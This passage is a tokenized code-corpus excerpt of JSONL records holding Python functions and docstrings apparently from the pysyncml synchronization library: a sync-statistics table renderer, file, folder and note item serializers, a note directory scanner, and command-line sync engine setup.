<NUM_LIT:9> )+ '<STR_LIT>'+ '<STR_LIT:->' * wCon+ '<STR_LIT>'<EOL>if details:<EOL><INDENT>stream.write(hline)<EOL>stream.write('<STR_LIT>' + '<STR_LIT:U+0020>' * wSrc)<EOL>stream.write('<STR_LIT>' + '<STR_LIT:U+0020>' * wMode)<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=( wHereAdd + wHereMod + wHereDel + wHereErr + <NUM_LIT:9> )))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=( wPeerAdd + wPeerMod + wPeerDel + wPeerErr + <NUM_LIT:9> )))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wCon))<EOL>stream.write('<STR_LIT>')<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wSrc))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wMode))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wHereAdd))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wHereMod))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wHereDel))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wHereErr))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wPeerAdd))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wPeerMod))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wPeerDel))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wPeerErr))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wCol))<EOL>stream.write('<STR_LIT>'.format(_('<STR_LIT>'), w=wMrg))<EOL>stream.write('<STR_LIT>')<EOL>hsline = '<STR_LIT>' + '<STR_LIT:->' * wSrc+ '<STR_LIT>' + '<STR_LIT:->' * wMode+ '<STR_LIT>' + '<STR_LIT:->' * wHereAdd+ '<STR_LIT>' + '<STR_LIT:->' * wHereMod+ '<STR_LIT>' + '<STR_LIT:->' * wHereDel+ '<STR_LIT>' + '<STR_LIT:->' * wHereErr+ '<STR_LIT>' + '<STR_LIT:->' * wPeerAdd+ '<STR_LIT>' + '<STR_LIT:->' * wPeerMod+ '<STR_LIT>' + '<STR_LIT:->' * wPeerDel+ '<STR_LIT>' + '<STR_LIT:->' * wPeerErr+ '<STR_LIT>' + '<STR_LIT:->' * wCol+ '<STR_LIT>' + '<STR_LIT:->' * wMrg+ '<STR_LIT>'<EOL>stream.write(hsline)<EOL>def numcol(val, wid):<EOL><INDENT>if val == <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT>'.format('<STR_LIT:->', w=wid)<EOL><DEDENT>return '<STR_LIT>'.format(num2str(val), w=wid)<EOL><DEDENT>for key in sorted(stats.keys(), key=lambda k: str(k).lower()):<EOL><INDENT>stream.write('<STR_LIT>'.format(key, w=wSrc))<EOL>stream.write('<STR_LIT>'.format(modeStringLut.get(stats[key].mode), w=wMode))<EOL>stream.write(numcol(stats[key].hereAdd, wHereAdd))<EOL>stream.write(numcol(stats[key].hereMod, wHereMod))<EOL>stream.write(numcol(stats[key].hereDel, wHereDel))<EOL>stream.write(numcol(stats[key].hereErr, wHereErr))<EOL>stream.write(numcol(stats[key].peerAdd, wPeerAdd))<EOL>stream.write(numcol(stats[key].peerMod, wPeerMod))<EOL>stream.write(numcol(stats[key].peerDel, wPeerDel))<EOL>stream.write(numcol(stats[key].peerErr, wPeerErr))<EOL>stream.write(numcol(stats[key].conflicts, wCol))<EOL>stream.write(numcol(stats[key].merged, wMrg))<EOL>stream.write('<STR_LIT>')<EOL><DEDENT>stream.write(hsline)<EOL><DEDENT>if totals:<EOL><INDENT>if title is None and not details:<EOL><INDENT>stream.write('<STR_LIT>' + '<STR_LIT:->' * tWid + '<STR_LIT>')<EOL><DEDENT>stream.write('<STR_LIT>'.format(sumlist, w=tWid))<EOL>stream.write('<STR_LIT>')<EOL>stream.write('<STR_LIT>' + '<STR_LIT:->' * tWid + '<STR_LIT>')<EOL><DEDENT>return<EOL>", "docstring": "Renders an ASCII-table of the synchronization statistics `stats`,\nexample output:\n\n.. code-block::\n\n  +----------------------------------------------------------------------------------+\n  |                                      TITLE                                       |\n  +----------+------+-------------------------+--------------------------+-----------+\n  |          |      |          Local          |          Remote          | Conflicts |\n  |   Source | Mode |  Add  | Mod | Del | Err |   Add  | Mod | Del | Err | Col | Mrg |\n  +----------+------+-------+-----+-----+-----+--------+-----+-----+-----+-----+-----+\n  | contacts |  <=  |   -   |  -  |  -  |  -  | 10,387 |  -  |  -  |  -  |  -  |  -  |\n  |     note |  SS  | 1,308 |  -  |   2 |  -  |    -   |  -  |  -  |  -  |  -  |  -  |\n  +----------+------+-------+-----+-----+-----+--------+-----+-----+-----+-----+-----+\n  |                  1,310 local changes and 10,387 remote changes.                  |\n  +----------------------------------------------------------------------------------+\n\n:Parameters:\n\nstats : dict\n\n  The synchronization stats returned by a call to Adapter.sync().\n\nstream : file-like-object\n\n  An output file-like object that has at least a `write()` method,\n  e.g. ``sys.stdout`` can be used.\n\ntitle : str, optional, default: null\n\n  A title placed at the top of the table -- if omitted (the default),\n  then no title is rendered.\n\ndetails : bool, optional, default: true\n\n  If truthy, a per-datastore listing of changes will be displayed\n  (as in the above example).\n\ntotals : bool, optional, default: true\n\n  If truthy, a summary of all changes will be displayed (as in the\n  above example).\n\ngettext : callable, optional, @DEPRECATED(0.2.0), default: null\n\n  A `gettext.gettext` compatible callable used for translating\n  localized content (such as number formatting, etc.).\n\n  NOTE: this parameter is deprecated, and will be replaced with\n  a generalized i18n solution.", "id": "f12349:m12"}
{"signature": "def dump(self, stream, contentType=None, version=None):", "body": "raise NotImplementedError()<EOL>", "docstring": "Converts this Item to serialized form (such that it can be\ntransported over the wire) and writes it to the provided file-like\n`stream` object. For agents that support multiple content-types,\nthe desired `contentType` and `version` will be specified as a\nparameter. If `contentType` and `version` are None, appropriate\ndefault values should be used. For agents that concurrently use\nmultiple content-types, the return value may be a two-element\ntuple of (contentType, version), thus overriding or enhancing the\nprovided values.", "id": "f12353:c0:m1"}
{"signature": "def dumps(self, contentType=None, version=None):", "body": "buf = six.StringIO()<EOL>ret = self.dump(buf, contentType, version)<EOL>if ret is None:<EOL><INDENT>return buf.getvalue()<EOL><DEDENT>return (ret[<NUM_LIT:0>], ret[<NUM_LIT:1>], buf.getvalue())<EOL>", "docstring": "[OPTIONAL] Identical to :meth:`dump`, except the serialized form\nis returned as a string representation. As documented in\n:meth:`dump`, the return value can optionally be a three-element\ntuple of (contentType, version, data) if the provided content-type\nshould be overridden or enhanced. The default implementation just\nwraps :meth:`dump`.", "id": "f12353:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def load(cls, stream, contentType=None, version=None):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Reverses the effects of the :meth:`dump` method, and returns the\nde-serialized Item from the file-like source `stream`.\n\nNote: `version` will typically be ``None``, so it should either be\nauto-determined, or not used. This is an issue in the SyncML\nprotocol, and is only here for symmetry with :meth:`dump` and as\n\"future-proofing\".", "id": "f12353:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def loads(cls, data, contentType=None, version=None):<DEDENT>", "body": "buf = six.StringIO(data)<EOL>return cls.load(buf, contentType, version)<EOL>", "docstring": "[OPTIONAL] Identical to :meth:`load`, except the serialized form\nis provided as a string representation in `data` instead of as a\nstream. The default implementation just wraps :meth:`load`.", "id": "f12353:c0:m4"}
{"signature": "def __init__(self, name=None, parent=None,<EOL>created=None, modified=None, accessed=None,<EOL>contentType=None, body=None, size=None,<EOL>hidden=None, system=None, archived=None, delete=None,<EOL>writable=None, readable=None, executable=None,<EOL>*args, **kw):", "body": "super(FileItem, self).__init__(*args, **kw)<EOL>self.name        = name<EOL>self.parent      = parent<EOL>self.created     = created<EOL>self.modified    = modified<EOL>self.accessed    = accessed<EOL>self.contentType = contentType<EOL>self.body        = body<EOL>self.size        = size<EOL>if self.size is None and self.body is not None:<EOL><INDENT>self.size      = len(body)<EOL><DEDENT>self.hidden      = hidden<EOL>self.system      = system<EOL>self.archived    = archived<EOL>self.delete      = delete<EOL>self.writable    = writable<EOL>self.readable    = readable<EOL>self.executable  = executable<EOL>", "docstring": "FileItem constructor which takes the following optional parameters:\n\n:param name:\n\n  the file name (relative to the parent folder).\n\n:param parent:\n\n  the file\\'s containing folder.\n\n:param created:\n\n  the file\\'s creation time, in number of seconds since\n  the epoch.\n\n:param modified:\n\n  the file\\'s last modification time, in number of seconds\n  since the epoch.\n\n:param accessed:\n\n  the file\\'s last accessed time, in number of seconds\n  since the epoch.\n\n:param contentType:\n\n  the file\\'s content-type.\n\n:param body:\n\n  the file\\'s content.\n\n:param size:\n\n  the size of file\\'s content, specified as an integer. If not\n  specified and `body` is specified, the size will be taken from\n  the `body` parameter.\n\n:param hidden:\n\n  the file\\'s \"hidden\" boolean attribute.\n\n:param system:\n\n  the file\\'s \"system\" boolean attribute.\n\n:param archived:\n\n  the file\\'s \"archived\" boolean attribute.\n\n:param delete:\n\n  the file\\'s \"delete\" boolean attribute.\n\n:param writable:\n\n  the file\\'s \"writable\" boolean attribute.\n\n:param readable:\n\n  the file\\'s \"readable\" boolean attribute.\n\n:param executable:\n\n  the file\\'s \"executable\" boolean attribute.", "id": "f12357:c0:m0"}
{"signature": "def dump(self, stream, contentType=None, version=None):", "body": "if contentType is None:<EOL><INDENT>contentType = constants.TYPE_OMADS_FILE<EOL><DEDENT>if ctype.getBaseType(contentType) != constants.TYPE_OMADS_FILE:<EOL><INDENT>raise common.InvalidContentType('<STR_LIT>' % (contentType,))<EOL><DEDENT>if version is None:<EOL><INDENT>version = '<STR_LIT>'<EOL><DEDENT>if version != '<STR_LIT>':<EOL><INDENT>raise common.InvalidContentType('<STR_LIT>' % (version,))<EOL><DEDENT>root = ET.Element('<STR_LIT>')<EOL>if self.name is not None:<EOL><INDENT>ET.SubElement(root, '<STR_LIT:name>').text = self.name<EOL><DEDENT>for attr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if getattr(self, attr) is None:<EOL><INDENT>continue<EOL><DEDENT>ET.SubElement(root, attr).text = common.ts_iso(getattr(self, attr))<EOL><DEDENT>if self.contentType is not None:<EOL><INDENT>ET.SubElement(root, '<STR_LIT>').text = self.contentType<EOL><DEDENT>attrs = [attr<EOL>for attr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>if getattr(self, attr) is not None]<EOL>if len(attrs) > <NUM_LIT:0>:<EOL><INDENT>xa = ET.SubElement(root, '<STR_LIT>')<EOL>for attr in attrs:<EOL><INDENT>ET.SubElement(xa, attr[<NUM_LIT:0>]).text = '<STR_LIT:true>' if getattr(self, attr) else '<STR_LIT:false>'<EOL><DEDENT><DEDENT>if self.body is not None:<EOL><INDENT>ET.SubElement(root, '<STR_LIT:body>').text = self.body<EOL><DEDENT>if self.body is None and self.size is not None:<EOL><INDENT>ET.SubElement(root, '<STR_LIT:size>').text = str(self.size)<EOL><DEDENT>if len(self.extensions) > <NUM_LIT:0>:<EOL><INDENT>xe = ET.SubElement(root, '<STR_LIT>')<EOL>for name, values in self.extensions.items():<EOL><INDENT>ET.SubElement(xe, '<STR_LIT>').text = name<EOL>for value in values:<EOL><INDENT>ET.SubElement(xe, '<STR_LIT>').text = value<EOL><DEDENT><DEDENT><DEDENT>ET.ElementTree(root).write(stream)<EOL>return (constants.TYPE_OMADS_FILE + '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Serializes this FileItem to a byte-stream and writes it to the\nfile-like object `stream`. `contentType` and `version` must be one\nof the supported content-types, and if not specified, will default\nto ``application/vnd.omads-file``.", "id": "f12357:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def load(cls, stream, contentType=None, version=None):<DEDENT>", "body": "if contentType is None:<EOL><INDENT>contentType = constants.TYPE_OMADS_FILE<EOL><DEDENT>if ctype.getBaseType(contentType) == constants.TYPE_OMADS_FOLDER:<EOL><INDENT>from .folder import FolderItem<EOL>return FolderItem.load(stream, contentType, version)<EOL><DEDENT>if ctype.getBaseType(contentType) != constants.TYPE_OMADS_FILE:<EOL><INDENT>raise common.InvalidContentType('<STR_LIT>' % (contentType,))<EOL><DEDENT>if version is None:<EOL><INDENT>version = '<STR_LIT>'<EOL><DEDENT>if version != '<STR_LIT>':<EOL><INDENT>raise common.InvalidContentType('<STR_LIT>' % (version,))<EOL><DEDENT>ret = FileItem()<EOL>data = stream.read()<EOL>xdoc = ET.fromstring(data)<EOL>if xdoc.tag != '<STR_LIT>':<EOL><INDENT>raise common.InvalidContent('<STR_LIT>'<EOL>% (xdoc.tag,))<EOL><DEDENT>ret.name = xdoc.findtext('<STR_LIT:name>')<EOL>ret.body = xdoc.findtext('<STR_LIT:body>')<EOL>ret.size = xdoc.findtext('<STR_LIT:size>')<EOL>if ret.body is not None:<EOL><INDENT>ret.size = len(ret.body)<EOL><DEDENT>elif ret.size is not None:<EOL><INDENT>ret.size = int(ret.size)<EOL><DEDENT>for attr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>val = xdoc.findtext(attr)<EOL>if val is not None:<EOL><INDENT>setattr(ret, attr, int(common.parse_ts_iso(val)))<EOL><DEDENT><DEDENT>for attr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>val = xdoc.findtext('<STR_LIT>' + attr[<NUM_LIT:0>])<EOL>if val is not None:<EOL><INDENT>setattr(ret, attr, val.lower() == '<STR_LIT:true>')<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Reverses the effects of the :meth:`dump` method, creating a FileItem\nfrom the specified file-like `stream` object.", "id": "f12357:c0:m3"}
{"signature": "def __init__(self, name=None, parent=None,<EOL>created=None, modified=None, accessed=None,<EOL>role=None,<EOL>hidden=None, system=None, archived=None, delete=None,<EOL>writable=None, readable=None, executable=None,<EOL>*args, **kw):", "body": "super(FolderItem, self).__init__(*args, **kw)<EOL>self.name        = name<EOL>self.parent      = parent<EOL>self.created     = created<EOL>self.modified    = modified<EOL>self.accessed    = accessed<EOL>self.role        = role<EOL>self.hidden      = hidden<EOL>self.system      = system<EOL>self.archived    = archived<EOL>self.delete      = delete<EOL>self.writable    = writable<EOL>self.readable    = readable<EOL>self.executable  = executable<EOL>", "docstring": "FolderItem constructor which takes the following optional parameters:\n\n:param name:\n\n  the folder name (relative to the parent folder).\n\n:param parent:\n\n  the folder\\'s containing folder.\n\n:param created:\n\n  the folder\\'s creation time, in number of seconds since\n  the epoch.\n\n:param modified:\n\n  the folder\\'s last modification time, in number of seconds\n  since the epoch.\n\n:param accessed:\n\n  the folder\\'s last accessed time, in number of seconds\n  since the epoch.\n\n:param role:\n\n  the folder\\'s role, primarily used when dealing with collections\n  of emails.\n\n:param hidden:\n\n  the folder\\'s \"hidden\" boolean attribute.\n\n:param system:\n\n  the folder\\'s \"system\" boolean attribute.\n\n:param archived:\n\n  the folder\\'s \"archived\" boolean attribute.\n\n:param delete:\n\n  the folder\\'s \"delete\" boolean attribute.\n\n:param writable:\n\n  the folder\\'s \"writable\" boolean attribute.\n\n:param readable:\n\n  the folder\\'s \"readable\" boolean attribute.\n\n:param executable:\n\n  the folder\\'s \"executable\" boolean attribute.", "id": "f12358:c0:m0"}
{"signature": "def dump(self, stream, contentType=None, version=None):", "body": "if contentType is None:<EOL><INDENT>contentType = constants.TYPE_OMADS_FOLDER<EOL><DEDENT>if ctype.getBaseType(contentType) != constants.TYPE_OMADS_FOLDER:<EOL><INDENT>raise common.InvalidContentType('<STR_LIT>' % (contentType,))<EOL><DEDENT>if version is None:<EOL><INDENT>version = '<STR_LIT>'<EOL><DEDENT>if version != '<STR_LIT>':<EOL><INDENT>raise common.InvalidContentType('<STR_LIT>' % (version,))<EOL><DEDENT>root = ET.Element('<STR_LIT>')<EOL>if self.name is not None:<EOL><INDENT>ET.SubElement(root, '<STR_LIT:name>').text = self.name<EOL><DEDENT>for attr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if getattr(self, attr) is None:<EOL><INDENT>continue<EOL><DEDENT>ET.SubElement(root, attr).text = common.ts_iso(getattr(self, attr))<EOL><DEDENT>if self.role is not None:<EOL><INDENT>ET.SubElement(root, '<STR_LIT>').text = self.role<EOL><DEDENT>attrs = [attr<EOL>for attr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>if getattr(self, attr) is not None]<EOL>if len(attrs) > <NUM_LIT:0>:<EOL><INDENT>xa = ET.SubElement(root, '<STR_LIT>')<EOL>for attr in attrs:<EOL><INDENT>ET.SubElement(xa, attr[<NUM_LIT:0>]).text = '<STR_LIT:true>' if getattr(self, attr) else '<STR_LIT:false>'<EOL><DEDENT><DEDENT>if len(self.extensions) > <NUM_LIT:0>:<EOL><INDENT>xe = ET.SubElement(root, '<STR_LIT>')<EOL>for name, values in self.extensions.items():<EOL><INDENT>ET.SubElement(xe, '<STR_LIT>').text = name<EOL>for value in values:<EOL><INDENT>ET.SubElement(xe, '<STR_LIT>').text = value<EOL><DEDENT><DEDENT><DEDENT>ET.ElementTree(root).write(stream)<EOL>return (constants.TYPE_OMADS_FOLDER + '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Serializes this FolderItem to a byte-stream and writes it to the\nfile-like object `stream`. `contentType` and `version` must be one\nof the supported content-types, and if not specified, will default\nto ``application/vnd.omads-folder``.", "id": "f12358:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def load(cls, stream, contentType=None, version=None):<DEDENT>", "body": "if contentType is None:<EOL><INDENT>contentType = constants.TYPE_OMADS_FOLDER<EOL><DEDENT>if ctype.getBaseType(contentType) == constants.TYPE_OMADS_FILE:<EOL><INDENT>return FileItem.load(stream, contentType, version)<EOL><DEDENT>if ctype.getBaseType(contentType) != constants.TYPE_OMADS_FOLDER:<EOL><INDENT>raise common.InvalidContentType('<STR_LIT>' % (contentType,))<EOL><DEDENT>if version is None:<EOL><INDENT>version = '<STR_LIT>'<EOL><DEDENT>if version != '<STR_LIT>':<EOL><INDENT>raise common.InvalidContentType('<STR_LIT>' % (version,))<EOL><DEDENT>ret = FolderItem()<EOL>xdoc = ET.fromstring(stream.read())<EOL>if xdoc.tag != '<STR_LIT>':<EOL><INDENT>raise common.InvalidContent('<STR_LIT>'<EOL>% (xdoc.tag,))<EOL><DEDENT>ret.name = xdoc.findtext('<STR_LIT:name>')<EOL>ret.role = xdoc.findtext('<STR_LIT>')<EOL>for attr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>val = xdoc.findtext(attr)<EOL>if val is not None:<EOL><INDENT>setattr(ret, attr, int(common.parse_ts_iso(val)))<EOL><DEDENT><DEDENT>for attr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>val = xdoc.findtext('<STR_LIT>' + attr[<NUM_LIT:0>])<EOL>if val is not None:<EOL><INDENT>setattr(ret, attr, val.lower() == '<STR_LIT:true>')<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Reverses the effects of the :meth:`dump` method, creating a FileItem\nfrom the specified file-like `stream` object.", "id": "f12358:c0:m3"}
{"signature": "def __init__(self, name=None, body=None, *args, **kw):", "body": "super(NoteItem, self).__init__(*args, **kw)<EOL>self.name        = name<EOL>self.body        = body<EOL>", "docstring": "NoteItem constructor which takes attributes `name` and `body`.", "id": "f12359:c0:m0"}
{"signature": "def dump(self, stream, contentType=None, version=None):", "body": "if contentType is None or contentType == constants.TYPE_TEXT_PLAIN:<EOL><INDENT>stream.write(self.body)<EOL>return<EOL><DEDENT>if contentType == constants.TYPE_SIF_NOTE:<EOL><INDENT>root = ET.Element('<STR_LIT>')<EOL>ET.SubElement(root, '<STR_LIT>').text = '<STR_LIT>'<EOL>if self.name is not None:<EOL><INDENT>ET.SubElement(root, '<STR_LIT>').text = self.name<EOL><DEDENT>if self.body is not None:<EOL><INDENT>ET.SubElement(root, '<STR_LIT>').text = self.body<EOL><DEDENT>for name, values in self.extensions.items():<EOL><INDENT>for value in values:<EOL><INDENT>ET.SubElement(root, name).text = value<EOL><DEDENT><DEDENT>ET.ElementTree(root).write(stream)<EOL>return<EOL><DEDENT>raise common.InvalidContentType('<STR_LIT>' % (contentType,))<EOL>", "docstring": "Serializes this NoteItem to a byte-stream and writes it to the\nfile-like object `stream`. `contentType` and `version` must be one\nof the supported content-types, and if not specified, will default\nto ``text/plain``.", "id": "f12359:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def load(cls, stream, contentType=None, version=None):<DEDENT>", "body": "if contentType is None or contentType == constants.TYPE_TEXT_PLAIN:<EOL><INDENT>data = stream.read()<EOL>name = data.split('<STR_LIT:\\n>')[<NUM_LIT:0>]<EOL>name = re.compile(r'<STR_LIT>', re.IGNORECASE).sub('<STR_LIT>', name).strip()<EOL>return NoteItem(name=name, body=data)<EOL><DEDENT>if contentType == constants.TYPE_SIF_NOTE:<EOL><INDENT>data = ET.parse(stream).getroot()<EOL>ret = NoteItem(name=data.findtext('<STR_LIT>'), body=data.findtext('<STR_LIT>'))<EOL>for child in data:<EOL><INDENT>if child.tag in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>ret.addExtension(child.tag, child.text)<EOL><DEDENT>return ret<EOL><DEDENT>raise common.InvalidContentType('<STR_LIT>' % (contentType,))<EOL>", "docstring": "Reverses the effects of the :meth:`dump` method, creating a NoteItem\nfrom the specified file-like `stream` object.", "id": "f12359:c0:m2"}
{"signature": "def scan(self, store):", "body": "<EOL>if self.ignoreRoot is None:<EOL><INDENT>self.ignoreRoot = re.compile('<STR_LIT>' % (re.escape(self.engine.syncSubdir),))<EOL><DEDENT>dbnotes = list(self.engine.model.NoteItem.q())<EOL>dbnames = dict((e.name, e) for e in dbnotes)<EOL>fsnotes = list(self._scandir('<STR_LIT:.>'))<EOL>fsnames = dict((e.name, e) for e in fsnotes)<EOL>for fsent in fsnames.values():<EOL><INDENT>if fsent.name in dbnames and dbnames[fsent.name].sha256 == fsent.sha256:<EOL><INDENT>log.debug('<STR_LIT>', fsent.name)<EOL>del dbnames[fsent.name]<EOL>del fsnames[fsent.name]<EOL><DEDENT><DEDENT>dbskip = []<EOL>for dbent in dbnames.values():<EOL><INDENT>if dbent.id in dbskip or dbent.name in fsnames:<EOL><INDENT>continue<EOL><DEDENT>for fsent in fsnames.values():<EOL><INDENT>if fsent.sha256 != dbent.sha256 or fsent.name not in dbnames:<EOL><INDENT>continue<EOL><DEDENT>log.debug('<STR_LIT>', fsent.name, dbent.name)<EOL>dbother = dbnames[fsent.name]<EOL>del dbnames[dbent.name]<EOL>del dbnames[fsent.name]<EOL>del fsnames[fsent.name]<EOL>dbskip.append(dbother.id)<EOL>store.registerChange(dbent.id, pysyncml.ITEM_DELETED)<EOL>for key, val in fsent.items():<EOL><INDENT>setattr(dbother, key, val)<EOL><DEDENT>if self.engine.options.syncFilename:<EOL><INDENT>store.registerChange(dbother.id, pysyncml.ITEM_MODIFIED)<EOL><DEDENT>break<EOL><DEDENT><DEDENT>dbskip = []<EOL>for dbent in dbnames.values():<EOL><INDENT>if dbent.id in dbskip:<EOL><INDENT>continue<EOL><DEDENT>for fsent in fsnames.values():<EOL><INDENT>if fsent.sha256 != dbent.sha256:<EOL><INDENT>continue<EOL><DEDENT>log.debug('<STR_LIT>', dbent.name, fsent.name)<EOL>del dbnames[dbent.name]<EOL>del fsnames[fsent.name]<EOL>for key, val in fsent.items():<EOL><INDENT>setattr(dbent, key, val)<EOL><DEDENT>if self.engine.options.syncFilename:<EOL><INDENT>store.registerChange(dbent.id, pysyncml.ITEM_MODIFIED)<EOL><DEDENT>break<EOL><DEDENT><DEDENT>for fsent in fsnames.values():<EOL><INDENT>if fsent.name in dbnames:<EOL><INDENT>log.debug('<STR_LIT>', fsent.name)<EOL>dbent = dbnames[fsent.name]<EOL>del dbnames[fsent.name]<EOL>store.registerChange(dbent.id, pysyncml.ITEM_MODIFIED)<EOL><DEDENT>else:<EOL><INDENT>log.debug('<STR_LIT>', fsent.name)<EOL>dbent = self.engine.model.NoteItem()<EOL>self.engine.dbsession.add(dbent)<EOL>store.registerChange(dbent.id, pysyncml.ITEM_ADDED)<EOL><DEDENT>for key, val in fsent.items():<EOL><INDENT>setattr(dbent, key, val)<EOL><DEDENT>del fsnames[fsent.name]<EOL><DEDENT>for dbent in dbnames.values():<EOL><INDENT>store.registerChange(dbent.id, pysyncml.ITEM_DELETED)<EOL>self.engine.dbsession.add(dbent)<EOL><DEDENT>", "docstring": "Scans the local files for changes (either additions, modifications or\ndeletions) and reports them to the `store` object, which is expected to\nimplement the :class:`pysyncml.Store` interface.", "id": "f12362:c1:m1"}
{"signature": "def hook(name):", "body": "def hookTarget(wrapped):<EOL><INDENT>if not hasattr(wrapped, '<STR_LIT>'):<EOL><INDENT>wrapped.__hook__ = [name]<EOL><DEDENT>else:<EOL><INDENT>wrapped.__hook__.append(name)<EOL><DEDENT>return wrapped<EOL><DEDENT>return hookTarget<EOL>", "docstring": "Decorator used to tag a method that should be used as a hook for the\nspecified `name` hook type.", "id": "f12363:m1"}
{"signature": "def __init__(self,<EOL>appLabel         = None,<EOL>appDisplay       = None,<EOL>appModelVersion  = None,<EOL>defaultDevID     = None,<EOL>defaultListen    = <NUM_LIT>,<EOL>devinfoParams    = dict(),<EOL>storeParams      = dict(),<EOL>agent            = None,<EOL>hooks            = None,<EOL>*args, **kw):", "body": "super(CommandLineSyncEngine, self).__init__()<EOL>self.appLabel         = appLabel<EOL>self.appDisplay       = appDisplay<EOL>self.appModelVersion  = appModelVersion<EOL>self.defaultDevID     = defaultDevID<EOL>self.defaultListen    = defaultListen<EOL>self.devinfoParams    = devinfoParams<EOL>self.storeParams      = storeParams<EOL>self.agent            = agent<EOL>self.dataDir          = None<EOL>self._hooks           = dict()<EOL>if self.defaultDevID is None:<EOL><INDENT>self.defaultDevID = '<STR_LIT>' % (self.appLabel, uuid.getnode(), time.time())<EOL><DEDENT>for meth in dir(self):<EOL><INDENT>meth = getattr(self, meth)<EOL>if not callable(meth) or not hasattr(meth, '<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>for name in meth.__hook__:<EOL><INDENT>self.addHook(name, meth)<EOL><DEDENT><DEDENT>for name, funcs in hooks or []:<EOL><INDENT>for func in funcs:<EOL><INDENT>self.addHook(name, func)<EOL><DEDENT><DEDENT>", "docstring": "The CommandLineClient base constructor accepts the following parameters:\n\n:param appLabel:\n\n  A short unique identifier for this application, typically set to\n  the program\\'s name, for example \"sync-notes\". This label should not\n  contain any special characters, especially those that are not allowed\n  as part of a filename. Amongst other things, it is used to:\n\n  * generate the default device ID, if not specified,\n  * create application-specific configuration directory/file names,\n  * default datastore URI,\n  * and much more.\n\n:param appDisplay:\n\n  The name of the application when displayed to the user, for\n  example \"Note Synchronizer\".\n\nThe CommandLineClient also has the following additional attributes:\n\n:param dataDir:\n\n  The directory that contains all of the database files - this\n  is usually taken care of by one of the pre-existing subclasses.\n  It is expected to end with a \"/\".\n\nTODO: document all options...", "id": "f12363:c1:m0"}
{"signature": "def addHook(self, name, callable):", "body": "if name not in self._hooks:<EOL><INDENT>self._hooks[name] = []<EOL><DEDENT>self._hooks[name].append(callable)<EOL>", "docstring": "Subscribes `callable` to listen to events of `name` type. The\nparameters passed to `callable` are dependent on the specific\nevent being triggered.", "id": "f12363:c1:m1"}
{"signature": "def _makeAdapter(self):", "body": "self._callHooks('<STR_LIT>')<EOL>context = pysyncml.Context(storage='<STR_LIT>' % (self.dataDir,),<EOL>owner=None, autoCommit=True)<EOL>self._callHooks('<STR_LIT>', context)<EOL>adapter = context.Adapter()<EOL>if hasattr(self, '<STR_LIT>') and self.serverConf.policy is not None:<EOL><INDENT>adapter.conflictPolicy = self.serverConf.policy<EOL><DEDENT>if self.options.name is not None or self.appDisplay is not None:<EOL><INDENT>adapter.name = self.options.name or self.appDisplay<EOL><DEDENT>if adapter.devinfo is None:<EOL><INDENT>log.info('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if self.options.devid is not None and self.options.devid != adapter.devinfo.devID:<EOL><INDENT>log.info('<STR_LIT>')<EOL>adapter.devinfo = None<EOL><DEDENT><DEDENT>if adapter.devinfo is None:<EOL><INDENT>devinfoParams = dict(<EOL>devID             = self.options.devid or self.defaultDevID,<EOL>devType           = pysyncml.DEVTYPE_SERVER if self.options.server elsepysyncml.DEVTYPE_WORKSTATION,<EOL>manufacturerName  = '<STR_LIT>',<EOL>modelName         = self.appLabel,<EOL>softwareVersion   = pysyncml.version,<EOL>hierarchicalSync  = self.agent.hierarchicalSync if self.agent is not None else False,<EOL>)<EOL>if self.devinfoParams is not None:<EOL><INDENT>devinfoParams.update(self.devinfoParams)<EOL><DEDENT>adapter.devinfo = context.DeviceInfo(**devinfoParams)<EOL><DEDENT>self._callHooks('<STR_LIT>', context, adapter)<EOL>if not self.options.server:<EOL><INDENT>if adapter.peer is None:<EOL><INDENT>if self.options.remote is None:<EOL><INDENT>self.options.remote = input('<STR_LIT>')<EOL>if self.options.username is None:<EOL><INDENT>self.options.username = input('<STR_LIT>')<EOL>if len(self.options.username) <= 